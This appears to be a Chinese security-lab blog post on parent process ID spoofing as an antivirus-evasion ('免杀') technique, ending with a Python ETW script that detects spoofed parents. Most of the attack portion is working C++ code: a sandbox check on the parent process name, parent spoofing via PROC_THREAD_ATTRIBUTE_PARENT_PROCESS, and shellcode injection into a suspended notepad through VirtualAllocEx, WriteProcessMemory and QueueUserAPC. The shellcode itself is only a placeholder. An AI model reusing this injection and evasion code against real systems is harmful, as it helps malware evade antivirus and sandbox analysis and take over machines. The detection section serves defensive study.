背景
这次背景是实验室全阳了,在阳的路上小伙伴们写的这篇文章。希望在这个期间各位师傅们的都能注意自身防护。注意自身安全!
1. 什么是父进程
-
Windows中进程A创建了另一个进程B,那么进程A就是进程B的父进程,B就是A的子进程。
-
在每一个进程的内存数据结构中,只保存了其父进程的Pid(Parent ProcessId),即使父进程被关闭了,这个存储父进程Pid的字段也不会更新,因此很多情况下通过父进程Pid很可能找不到任何一个进程(即父进程已经关闭或者异常退出)。
-
当然这并不是什么大问题,因为目前并没有什么东西需要依赖这个父进程Pid。
-
通过一个简单实验来说明进程树还有进程之间的关系,我们需要用到Process Hacker 2这个工具。[Process Hacker 2下载链接](https://processhacker.sourceforge.io/downloads.php)
-
此时我们打开Process Hacker 2 随便找一个进程,我们看下。
目前由此图可以看到dasHost.exe这个进程是由svchost.exe启动起来的。
-
这时候我们自己来启动个程序看下,我们首先打开调试器x64dbg或者od都可以,我们在里面随便打开个软件看下。
我这里就随便打开个Hash.exe
这里因为Hash.exe是32位程序,所以我们用x32dbg来打开
把进程运行起来
可以看到这个进程和x32dbg中间有着联系。
2. 虚假父进程有什么作用
上面我们说到子进程和父进程中间始终存在着各种关联,所以我们如果想要用我们自己的进程去启动一个程序,那么就会很容易的被检测到从而证明我们是一个可以软件。
今天所说到的虚假父进程就正好的解决了这个问题,这样就可以在这一层的对抗上去的不错的胜利。
那么我们所说的技术可以用到哪些的实战环境中呢?
例如:反调试,反沙箱中。
反调试我们不必多说,因为从上图可以看到,如果我们判断下我们的父进程不对就结束掉,这样就可以实现很简单的反调试手段。当然这种反调试很容易会被绕过,一般我们也不会去这么处理,对于反调试的手段我们后续再讲。
反沙箱技术,这里如果读者们有了解过沙箱的实现原理或者看过cuckoo沙箱我们可以知道,一般情况下他会通过固定的进程去启动我们的软件,这里我们只需要将他通过判断过滤掉就已经过掉了反沙箱技术。
-
我们来演示下怎么过沙箱。
-
首先我们编译一段代码,输出我们的父进程名字。
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <string>
#include <iostream>
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
void* PebBaseAddress;
ULONG_PTR AffinityMask;
void* BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
using NtQueryInformationProcessFunc = LONG(*)(HANDLE, UINT, PVOID, ULONG, PULONG);
int GetParentProcessID(HANDLE process)
{
LONG status;
int ppid = (int)-1;
PROCESS_BASIC_INFORMATION pbi;
NtQueryInformationProcessFunc NtQueryInformationProcess = (NtQueryInformationProcessFunc)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess)
return 0;
status = NtQueryInformationProcess(process, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);
if (!status)
ppid = pbi.InheritedFromUniqueProcessId;
return ppid;
}
std::string FindProcessName(int ppid) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
std::string name;
if (Process32First(snapshot, &process)) {
do {
if (ppid == process.th32ProcessID)
{
name = process.szExeFile;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return name;
}
int main()
{
int ppid = GetParentProcessID((HANDLE)-1);
std::cout << FindProcessName(ppid).c_str() << std::endl;
std::cin.get();
return 0;
}
我们本地运行起来发现是VS的调试工具起的我们进程这也很好理解比较我们是直接启动的那么此时我们丢到沙箱里面看下结果。
可以看到这里的进程是explorer.exe,那么我们完全可以用别的进程去起我们的进程让他不是这个explorer.exe,或者修改我们父进程从而绕过去他的启动检测。
3. 怎么实现虚假父进程
实现父进程主要依靠的是微软的API CreateProcess
通常我们启动一个进程就是直接CreateProcessA/W 进行直接调用我们我们来看下 我们两个的区别
可以看到我们通过CreateProcessA直接调用的父进程就会是启动我们进程的进程。
那么我们对这个进程稍作修改来看下。
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
int main()
{
//STARTUPINFOEXA si{sizeof(STARTUPINFOEXA)};
//PROCESS_INFORMATION pi;
//CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, 0, NULL, NULL, &si.StartupInfo, &pi);
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
memset(&si, 0, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 5640);
// 这里是我们修改父进程的关键
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
可以看出这里我们已经利用这修改父进程的技术去把我们修改的父进程给修改到正常的进程而不是我们自身进程,这样我们的程序最起码看起来更为的逼真。
4. 在虚假父进程中实现ShllCode注入
那么我们继续在这段代码里写入一段ShellCode去执行一下
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>
int main()
{
//STARTUPINFOEXA si{sizeof(STARTUPINFOEXA)};
//PROCESS_INFORMATION pi;
//CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, 0, NULL, NULL, &si.StartupInfo, &pi);
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T attributeSize;
memset(&si, 0, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 4460);
// 这里是我们修改父进程的关键
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
unsigned char shellcode[] = "ShellCode...................";
CreateProcessA("C:\Windows\System32\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
return 0;
}
可以看到我们已经成功的修改父进程并且成功的上线了。
5. 怎么检测虚假父进程
其实我们可以通过ETW去检测到我们真正的父进程的。
ETW(Event Tracing for Windows,windows事件跟踪)是Windows中最好的取证工具之一。我们可以从**Microsoft-Windows-Kernel-Provider** ETW提供器提供的事件的记录 EventHeader 中访问“创建者进程”ID 。EventHeader 基本上只是实际 ETW 记录的包装,包含与事件创建方式相关的各种信息。这些信息之一是产生新进程的进程的 ProcessID,换句话说,这是不受父进程欺骗技术影响的**真正父进程 ID。
`Providers(提供器)`:可以产生事件日志的程序;
`Consumers`:订阅和监听 Providers 发出的事件的程序;
`Keywords(关键字)`:Providers 提供给 Consumer 的事件类型;
`Tracing session(跟踪会话)`:记录来自一个或多个 Providers 的事件;
`Contollers`:可以启动 Tracing session 的程序。
import time
import etw
import psutil
def getService(name):
service = None
try:
service = psutil.win_service_get(name)
service = service.as_dict()
except Exception as ex:
print("Something went wrong. Please contact the developer.")
print(str(ex))
return service
def get_me_my_parent(x):
_etwData = x[1]
_realParentPid = int(_etwData['EventHeader']['ProcessId']) # PID that generated this event
_parentPid = int(_etwData['ParentProcessID'])
_pid = int(_etwData['ProcessID'])
# Check parent pid with pid that causes this event (In other words, the original parent).
_isSpoofed = _realParentPid != _parentPid
if _isSpoofed:
# Get PID for service Appinfo. This is the one that will cause consent.exe to run
service = getService('Appinfo')
if service and service['status'] == 'running':
appinfo_pid = service["pid"]
else:
print("Appinfo service not found or is not running.")
return
# Check if this is caused by UAC. (UAC will spoof your parent process by using svchost service name appinfo)
_isCausedByUac = True if _realParentPid == appinfo_pid else False
if _isSpoofed and not _isCausedByUac:
process_name = ""
fake_parent_process_name = ""
real_parent_process_name = ""
for proc in psutil.process_iter():
if proc.pid == _pid:
process_name = proc.name()
elif proc.pid == _parentPid:
fake_parent_process_name = proc.name()
elif proc.pid == _realParentPid:
real_parent_process_name = proc.name()
print(
"Spoofed parent process detected!!!nt{0}({1}) is detected with parent {2}({3}) but originally from parent {4}({5}).".format(
process_name, _pid, fake_parent_process_name, _parentPid, real_parent_process_name, _realParentPid))
def main_function():
# define capture provider info
providers = [
etw.ProviderInfo('Microsoft-Windows-Kernel-Process', etw.GUID("{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}"))]
# create instance of ETW class
job = etw.ETW(providers=providers, event_callback=lambda x: get_me_my_parent(x), task_name_filters="PROCESSSTART")
# start capture
job.start()
try:
while True:
pass
except(KeyboardInterrupt):
job.stop()
print("ETW monitoring stopped.")
if __name__ == '__main__':
main_function()
我们先运行下这段代码 然后在运行我们父进程伪装的程序
可以看到这里我们已经可以找到我们真正的父进程。
6. 总结
本篇文章涉及了几个重要的点,CreateProcessA ETW 父进程伪装。目前我们所做的免杀并非单个技术就可以完成的,我们要结合很多种免杀的手段或者动态改变的手段才能让自己的程序在对抗杀软的时候不落下风。
蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。
原文始发于微信公众号(蛇矛实验室):免杀技术之虚假父进程